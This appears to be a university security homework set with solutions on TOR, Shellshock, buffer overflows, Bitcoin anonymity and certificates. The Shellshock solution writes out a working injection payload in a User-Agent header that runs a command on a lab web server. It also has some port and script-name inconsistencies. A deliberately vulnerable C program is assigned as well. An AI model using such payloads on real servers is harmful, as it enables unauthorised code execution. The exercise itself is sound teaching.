1. TOR
In the TOR anonymizing overlay routing network, any one can set up a relay node.
(a) What kind of information can a snoopy operator of a relay learn when it is the first relay on a path?
(b) What kind of information can a snoopy operator of a relay learn when it is the last relay on a path (i.e., it is an exit relay)?
(c) Suppose that an attacker deploys a large number of relay nodes, enough to comprise (not “compromise”) a significant fraction of all relay nodes in the network. Describe what the attacker might be able to learn by combining data gathered from both middle (i.e., non-exit) and exit relays.
(d) Describe some risks inherent in operating an exit relay on your home network.

Solution:
(a) It can learn which clients are connecting to the TOR network
(b) It can learn which destinations clients of the TOR network are connecting to. Also, if the communications to the final destinations are not encrypted, it can read those communications.
(c) The attacker could potentially identify the entire path from the client to the destination.
(d) Authorities may observe connections to illegal web sites being initiated from your home network. Also, attacks against machines on your network may arrive through the relay, and you will not be able to trace them back to their origins.

2. Exploiting Shellshock
In this exercise, you will exploit the Shellshock vulnerability to attack a Web server! A vulnerable Web server has been set up for you for this purpose. The Web server’s IP is 152.3.136.182. It listens for HTTP connections on port 5000. Hence, to access the server type http://152.3.136.182:5000/ in your browser. We have created a Web page for every student in the class. You can access this Web page using your netid at http://152.3.136.182:5000/a3/netid.html. For example, if your net id is nr69 then your Web page is http://152.3.136.182:5000/a3/nr69.html.
Your task is to use the Shellshock bug to modify your Web page (i.e. netid.html). You are free to modify the Web page as you like, but please do not post any inappropriate content. Also, do not modify any Web page other than your designated netid page. Provide a snapshot of your modified web page and clearly mention the steps (commands) you performed.

Hint:
(1) The Shellshock bug allows the execution of arbitrary code appended after a function definition specified in an environment variable. Hence, you may want to set an environment variable to contain some code that modifies the desired Web page.
(2) Remember the discussion in class - when the server receives an HTTP request to execute a script, it sets some environment variables based on the headers in the request and executes the script. Before the execution of the script, all the function definitions (set in environment variables) are evaluated. In other
words, the code block set by you gets executed. You can use the Perl script available on the server to perform these actions. It also prints all the environment variables. The script is accessible at http://152.3.136.182:5000/cgi-bin/printenv.pl. This way, you can execute arbitrary code on the server to perform the desired actions. Note: This exercise is only for learning purposes and limited to the mentioned Web server. In general, exploiting vulnerabilities like this is not encouraged and may not be legal.

Solution:
You can solve this problem fairly quickly using only the telnet tool.
First, figure out the full path to the htdocs directory, which is the root of the file system that the apache web server makes available to web clients. There is an environment variable called DOCUMENT_ROOT that you can read that makes this task straightforward, and the script /cgi-bin/env.sh displays all of the environment variables. Try entering something you can do this by entering the following in telnet:

% telnet 152.3.136.182 8081
% HTTP GET /cgi-bin/env.sh HTTP/1.1
% Host: 152.3.136.182

Once you have the value of DOCUMENT_ROOT, e.g., /home/cps_test/apache2/htdocs, you can send a request that will exploit the ShellShock vulnerability as follows:

% telnet 152.3.136.182 8081
% HTTP GET /cgi-bin/env.sh HTTP/1.1
% Host: 152.3.136.182
% User-Agent: (){;}; echo overwrite > /home/cps_test/apache2/htdocs/cps290/bmm25.html

Before the shell script runs, bash will evaluate the environment variable USER_AGENT, and the ShellShock bug will cause it to write the string "overwrite" into the listed file.

3. Buffer Overflow
In this problem you will write a program in the C programming language that is vulnerable to a buffer overflow attack. Your program should first ask a user to provide a password. Then it should ask the user to log in using that password. By entering too many characters at the second prompt, the user should be able to exploit an overflow error that overwrites the first stored password, allowing the user to log in with (and store) a new password.

Once you’ve written the buggy code, write a new version that is not vulnerable to this attack.

Provide screenshots showing demonstrating the attack and also the attack being prevented. Turn in your code.

Solution:
Sample code is on the webpage named as “overflow.c”.

% gcc -o overflow -fno-stack-protector -m32 overflow.c
4. BitCoin
(a) Generate a BitCoin address (public key) and its corresponding private key. Turn in your BitCoin address. Careful! Do not reveal your private key!! You are free to use any tools/online services for this purpose.
(b) Recall that BitCoin miners are rewarded for sealing off “blocks” of transactions and writing them to the public transaction record called the general ledger. Suppose that you want to receive a BitCoin and then spend it. How would you ensure that these two transactions cannot be linked to any other BitCoin transactions that you have made in the past, or will make in the future?
(c) How could you legally acquire a BitCoin without anyone learning of your identity?
(d) An enterprising student in COMPSCI 290.2 (a course with the rather unimpressive official title of “Topics in Computer Science”) decides to improve the anonymity of BitCoin by setting up the BitTOR network. The idea is to pass BitCoin payments through a relay network, where each relay node receives a BitCoin payment from the previous node, and then transfers the payment from its wallet to the next node. You may assume that the relay nodes are honest and always pass the payments along (which is assuming a lot). Compare the level of anonymity provided by TOR for browsing with that provided by BitTOR for making payments.

Solution:
(a) Install any kind of BitCoin Core software is fine.
(b) Create a new BitCoin address to receive and then send the BitCoin.
(c) You could mine a bit coin using a new address. or you could mail someone cash for a BitCoin, providing a new address.
(d) Unlike TOR, all BitCoin transactions are logged, so everyone can see the address that sent the payment into the network, the chain of transactions, and the address that finally received the payment. Having said that, BitCoin get passed around a lot, so it may be difficult to prove that the first address did anything more than just pass the BitCoin on to the first relay

5. Certificates This problem explores the use of certificates in SSL/TLS and SSH.
(a) Because there are multiple certificate authorities (CAs) for the Web PKI (e.g., Versign and Commodo), it is possible to buy multiple certificates for the same domain signed by different CAs. How would a browser treat these different certificates?
(b) Suppose that an imposter is able to obtain a certificate for a domain that the imposter doesn’t own. (For example, in January 2001, an imposter tricked VeriSign into signing two certificates for “Microsoft Corporation” to be used for signing new software to be installed.) What sorts of attacks could an imposter pull off once in possession of such “fake” certificates for i. installing software. ii. Viewing Web pages
(c) Typically the public SSH keys used by servers are not signed by any certificate authority, but the SSH protocol does support checking certificates. i. Why, in practice, are server certificates rarely signed? ii. What is the benefit of checking server certificates?
Solution:
(a) Browsers would treat them all as legitimate certificates.
(b) Installing software:
The imposter could trick the user into thinking he was installing code written by Microsoft, but instead was installing malware.
Viewing Web pages:
The imposter could pull off a phishing attack, tricking users into thinking that they were accessing their bank’s Web site, and hence pull off a man-in-the-middle attack and gather login credentials.
(c) Why, in practice, are server certificates rarely signed:
It appears to be too much trouble to securely distribute the public keys for the certificate authorities in advance and store them in the .ssh/authorized_keys directory of the client machines
What is the benefit of checking server certificates:
The user wants to be sure that he or she has logged in to the machine that she is trying to log in to, especially if the authentication method is to send a password. Otherwise an attacker could act as a man-in-the-middle.